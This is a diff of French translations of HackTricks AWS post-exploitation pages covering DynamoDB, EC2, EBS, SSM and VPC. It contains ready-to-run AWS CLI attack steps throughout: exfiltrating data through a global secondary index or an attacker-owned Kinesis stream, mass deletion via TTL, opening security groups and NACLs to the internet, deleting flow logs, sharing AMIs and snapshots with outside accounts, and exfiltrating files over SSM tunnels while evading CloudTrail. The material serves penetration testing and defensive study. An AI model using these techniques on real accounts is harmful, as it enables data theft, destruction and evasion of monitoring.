Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'ensemble des attributs d'un item existant en effectuant un `Update` à l'intérieur de `TransactWriteItems` qui fait volontairement échouer une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture uniquement en accès en lecture des clés ciblées.
|
||||
Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'intégralité des attributs d'un item existant en effectuant un `Update` dans `TransactWriteItems` qui fait échouer intentionnellement une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture seule en un accès en lecture sur les clés ciblées.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions : `dynamodb:TransactWriteItems` sur la table cible (et l'item sous-jacent). Aucune permission de lecture n'est requise.
|
||||
Permissions : `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en utilisant seulement les privilèges d'écriture transactionnelle via les raisons d'annulation retournées.
|
||||
Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en utilisant uniquement des privilèges d'écriture transactionnelle via les raisons d'annulation retournées.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` sur GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Contournez les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, en définissant cet attribut à une valeur constante pour tous les items, puis en effectuant un `Query` sur l'index pour récupérer les items complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
|
||||
Contourner les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, en définissant cet attribut sur une valeur constante pour tous les items, puis en `Query` l'index pour récupérer les items complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
|
||||
|
||||
- Permissions minimales :
|
||||
- `dynamodb:UpdateTable` sur la table cible (pour créer le GSI avec `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` sur les clés de la table cible (pour définir l'attribut indexé sur chaque item).
|
||||
- `dynamodb:Query` sur l'ARN de la ressource d'index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Étapes (PoC en us-east-1) :
|
||||
Étapes (PoC in us-east-1) :
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
@@ -464,14 +464,14 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
**Impact potentiel :** Full table exfiltration en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table de base sont refusées.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration continue via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Abuser des destinations de streaming Kinesis de DynamoDB pour continuously exfiltrate les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activée, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi-temps réel au Kinesis Data Stream sans nécessiter de permissions de lecture sur la table.
|
||||
Abuser des destinations de streaming Kinesis de DynamoDB pour exfiltrer en continu les changements d'une table vers un attacker-controlled Kinesis Data Stream. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi temps réel vers le stream sans nécessiter de permissions de lecture sur la table.
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
Permissions minimales (attacker) :
|
||||
- `dynamodb:EnableKinesisStreamingDestination` sur la table cible
|
||||
- Optionnellement `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` pour surveiller le statut
|
||||
- Permissions de lecture sur le Kinesis stream appartenant à l'attaquant pour consommer les enregistrements : `kinesis:*`
|
||||
- Permissions de lecture sur l'attacker-owned Kinesis stream pour consommer les enregistrements : `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -528,9 +528,46 @@ aws dynamodb disable-kinesis-streaming-destination \
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Un attaquant disposant de la permission dynamodb:UpdateTimeToLive peut modifier la configuration TTL (time-to-live) d'une table — activer ou désactiver la TTL. Lorsque la TTL est activée, les éléments individuels contenant l'attribut TTL configuré seront automatiquement supprimés une fois que leur heure d'expiration est atteinte. La valeur TTL n'est qu'un autre attribut de chaque élément ; les éléments sans cet attribut ne sont pas affectés par la suppression basée sur la TTL.
|
||||
|
||||
Si les éléments ne contiennent pas déjà l'attribut TTL, l'attaquant aurait aussi besoin d'une permission permettant de mettre à jour les éléments (par exemple dynamodb:UpdateItem) pour ajouter l'attribut TTL et déclencher des suppressions massives.
|
||||
|
||||
Commencez par activer la TTL sur la table, en spécifiant le nom de l'attribut à utiliser pour l'expiration :
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Ensuite, mettez à jour les items pour ajouter l'attribut TTL (secondes epoch) afin qu'ils expirent et soient supprimés :
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Un attaquant disposant des permissions `dynamodb:RestoreTableFromAwsBackup` ou `dynamodb:RestoreTableToPointInTime` peut créer de nouvelles tables restaurées depuis des sauvegardes ou via la récupération point-in-time (PITR) sans écraser la table d'origine. La table restaurée contient une image complète des données au point sélectionné, permettant à l'attaquant d'exfiltrate des informations historiques ou d'obtenir un dump complet de l'état antérieur de la base de données.
|
||||
|
||||
Restaurer une table DynamoDB à partir d'une sauvegarde à la demande:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
Restaurer une table DynamoDB à un point dans le temps (créer une nouvelle table avec l'état restauré) :
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
</details>
|
||||
|
||||
**Impact potentiel :** Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par l'attaquant sans opérations de lecture directes sur la table.
|
||||
**Impact potentiel :** Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par un attaquant, sans opérations de lecture directes sur la table.
|
||||
|
||||
|
||||
|
||||
|
||||
+85
-59
@@ -1,4 +1,4 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post-exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,10 +10,10 @@ Pour plus d'informations, consultez :
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Miroir VPC malveillant -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplique le trafic entrant et sortant pour les EC2 instances au sein d'un VPC** sans nécessiter l'installation de quoi que ce soit sur les instances elles‑mêmes. Ce trafic dupliqué est généralement envoyé vers un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait en abuser pour capturer tout le trafic et en extraire des informations sensibles :
|
||||
La mise en miroir du trafic VPC **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans nécessiter l'installation de quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué est généralement envoyé vers quelque chose comme un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait abuser de cela pour capturer l'ensemble du trafic et en extraire des informations sensibles :
|
||||
|
||||
Pour plus d'informations, consultez cette page :
|
||||
|
||||
@@ -21,9 +21,9 @@ Pour plus d'informations, consultez cette page :
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Copier une instance en cours d'exécution
|
||||
|
||||
Les instances contiennent généralement des informations sensibles. Il existe différentes façons d'y accéder (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre méthode pour vérifier ce qu'elles contiennent est de **créer une AMI et lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** :
|
||||
Les instances contiennent généralement une forme d'information sensible. Il existe différentes façons d'y accéder (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre façon de vérifier ce qu'elles contiennent est de **créer une AMI et d'exécuter une nouvelle instance (même dans votre propre compte) à partir de celle-ci**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -47,10 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
### Extraction de snapshots EBS
|
||||
|
||||
**Snapshots are backups of volumes**, qui contiennent généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\
|
||||
Si vous trouvez un **volume without a snapshot** vous pouvez : **Create a snapshot** et effectuer les actions suivantes ou simplement **mount it in an instance** inside the account :
|
||||
**Les snapshots sont des sauvegardes de volumes**, qui contiennent généralement **des informations sensibles**, par conséquent les vérifier devrait révéler ces informations.\
|
||||
Si vous trouvez un **volume sans snapshot** vous pouvez : **créer un snapshot** et effectuer les actions suivantes ou simplement **le monter sur une instance** au sein du compte :
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporter un EC2 AMI directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet une analyse forensique complète hors ligne ou le vol de données tout en laissant le réseau de l'instance intact.
|
||||
Exporter une AMI EC2 directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet des analyses forensiques hors ligne complètes ou le vol de données tout en laissant le réseau de l'instance inchangé.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des données en direct sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
|
||||
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des données en temps réel sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des voies rapides de mouvement latéral sans ouvrir de ports publics.
|
||||
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder à des instances privées via un tunnel géré. Offre des chemins de mouvement latéral rapides sans ouvrir de ports publics.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Transférer l'IP privée secondaire d'une ENI victime vers une ENI contrôlée par l'attaquant pour usurper des hôtes de confiance allowlisted par IP. Permet de contourner des ACLs internes ou des règles de SG associées à des adresses spécifiques.
|
||||
Déplacer l'adresse IP privée secondaire d'une ENI victime vers une ENI contrôlée par l'attaquant pour usurper des hôtes de confiance figurant sur la liste blanche par IP. Permet de contourner des ACL internes ou des règles SG basées sur des adresses spécifiques.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Réassocier un Elastic IP de l'instance victime à l'attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.
|
||||
Réassocier une Elastic IP de l'instance victime à l'attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Si une règle de Security Group référence une customer-managed prefix list, ajouter des CIDR de l'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
|
||||
Si une règle de security group référence une customer-managed prefix list, ajouter des CIDR d'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Exploiter des AWS-managed private links contourne l'absence d'IGW/NAT pour l'exfiltration de données.
|
||||
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des private links gérés par AWS contourne l'absence de contrôles IGW/NAT pour l'exfiltration de données.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des règles entrantes aux security groups (par exemple, autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi des services internes à l'Internet public ou à des réseaux non autorisés.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un attaquant disposant de la permission ec2:ReplaceNetworkAclEntry (ou équivalente) peut modifier les Network ACLs (NACLs) d’un subnet pour les rendre très permissifs — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant l’intégralité de la plage du subnet à l’Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués per-instance, les NACLs sont appliqués au subnet level, donc modifier un NACL restrictif peut avoir un blast radius beaucoup plus important en permettant l’accès à bien plus de hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d'infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption de service immédiate, une perte de données et la perte de preuves forensiques.
|
||||
|
||||
Un exemple : suppression d'un security group :
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Diriger les VPC Flow Logs vers un bucket S3 contrôlé par l'attaquant pour collecter en continu des métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
|
||||
Dirigez VPC Flow Logs vers un S3 bucket contrôlé par l'attaquant pour collecter en continu des métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -126,97 +152,97 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
Même si vous verrouillez une EC2 pour empêcher tout trafic sortant, elle peut toujours **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs ne l'enregistreront pas**.
|
||||
- Vous n'avez pas accès aux AWS DNS logs.
|
||||
- Désactivez ceci en définissant "enableDnsSupport" à false avec:
|
||||
- **VPC Flow Logs ne l'enregistrent pas**.
|
||||
- Vous n'avez pas accès aux logs DNS d'AWS.
|
||||
- Désactivez ceci en réglant "enableDnsSupport" sur false avec :
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Un attaquant peut appeler des endpoints API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les logs Cloudtrail.
|
||||
Un attaquant pourrait appeler des endpoints API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les logs Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci:
|
||||
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci :
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.
|
||||
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée afin d'exécuter des instances ECS, puis de voler les données des instances ECS.
|
||||
|
||||
Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Supprimer les VPC flow logs
|
||||
### Supprimer VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM : redirection de ports
|
||||
### SSM Port Forwarding
|
||||
|
||||
Permissions requises :
|
||||
Autorisations requises :
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
En plus de l'exécution de commandes, SSM permet d'établir des tunnels de trafic qui peuvent être abusés pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs.
|
||||
L'un des scénarios où cela est utile est de pivoter depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
|
||||
En plus de l'exécution de commandes, SSM permet le traffic tunneling, qui peut être abusé pour pivoting depuis des instances EC2 qui n'ont pas d'accès réseau en raison des Security Groups ou des NACLs.
|
||||
Un des scénarios où cela est utile est le pivoting depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un EKS cluster privé.
|
||||
|
||||
> Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Pour démarrer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installez le SessionManagerPlugin sur votre machine
|
||||
2. Connectez-vous au Bastion EC2 en utilisant la commande suivante :
|
||||
2. Connectez-vous au Bastion EC2 en utilisant la commande suivante:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Récupérez les identifiants temporaires AWS de la Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transférez les identifiants vers votre propre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
|
||||
3. Récupérez les temporary credentials AWS du Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transférez les credentials sur votre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
|
||||
5. Connectez-vous à EKS en tant que Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Mettez à jour le champ `server` dans le fichier `$HOME/.kube/config` pour qu'il pointe vers `https://localhost`
|
||||
7. Créez un tunnel SSM comme suit :
|
||||
6. Mettre à jour le champ `server` dans le fichier `$HOME/.kube/config` pour qu'il pointe vers `https://localhost`
|
||||
7. Créer un tunnel SSM comme suit :
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Le trafic de l'outil `kubectl` est maintenant acheminé via le tunnel SSM passant par le Bastion EC2, et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
|
||||
8. Le trafic de l'outil `kubectl` est désormais acheminé via le tunnel SSM passant par le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est acheminé via le tunnel sécurisé AWS SSM, vous êtes protégé contre tout type d'attaques MitM.
|
||||
Notez que les connexions SSL échoueront à moins que vous ne configuriez le flag `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes à l'abri de toute forme d'attaques MitM.
|
||||
|
||||
Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers n'importe quel autre service AWS ou une application personnalisée.
|
||||
Enfin, cette technique n'est pas spécifique aux attaques de clusters privés EKS. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers n'importe quel autre service AWS ou une application personnalisée.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Transfert rapide Local ↔️ Distant de port (AWS-StartPortForwardingSession)
|
||||
|
||||
Si vous n'avez besoin que de forward **one TCP port from the EC2 instance to your local host** , vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre de remote host requis):
|
||||
Si vous devez seulement rediriger **un port TCP depuis l'instance EC2 vers votre machine locale**, vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) :
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
La commande établit un tunnel bidirectionnel entre votre station de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles inbound de Security-Group**.
|
||||
La commande établit un tunnel bidirectionnel entre votre poste de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **without opening any inbound Security-Group rules**.
|
||||
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Sur l'instance, démarrez un serveur HTTP rapide qui pointe vers le répertoire que vous souhaitez exfiltrer :
|
||||
1. Sur l'instance, démarrez un serveur HTTP rapide pointant vers le répertoire que vous voulez exfiltrer :
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Depuis votre station de travail, récupérez les fichiers via le tunnel SSM :
|
||||
2. Depuis votre poste de travail, récupérez les fichiers via le tunnel SSM :
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accéder aux applications web internes (e.g. Nessus)**
|
||||
* **Accès aux applications web internes (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -224,28 +250,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Astuce : compressez et chiffrez les preuves avant de les exfiltrer afin que CloudTrail n'enregistre pas le contenu en clair :
|
||||
Astuce : compressez et chiffrez les preuves avant de les exfiltrating afin que CloudTrail n'enregistre pas le clear-text content :
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### Partager une AMI
|
||||
### Partager AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Rechercher des informations sensibles dans des AMIs publiques et privées
|
||||
### Rechercher des informations sensibles dans les AMIs publiques et privées
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles au sein d'Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes et l'analyse à la recherche de secrets potentiels ou de données sensibles.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes, et l'analyse à la recherche de potentiels secrets ou données sensibles.
|
||||
|
||||
### Partager EBS Snapshot
|
||||
### Partager un EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes S3 de post-exploitation. KMS devrait être renommé en RMS pour Ransomware Management Service, compte tenu de la facilité avec laquelle il permet de chiffrer divers services AWS.
|
||||
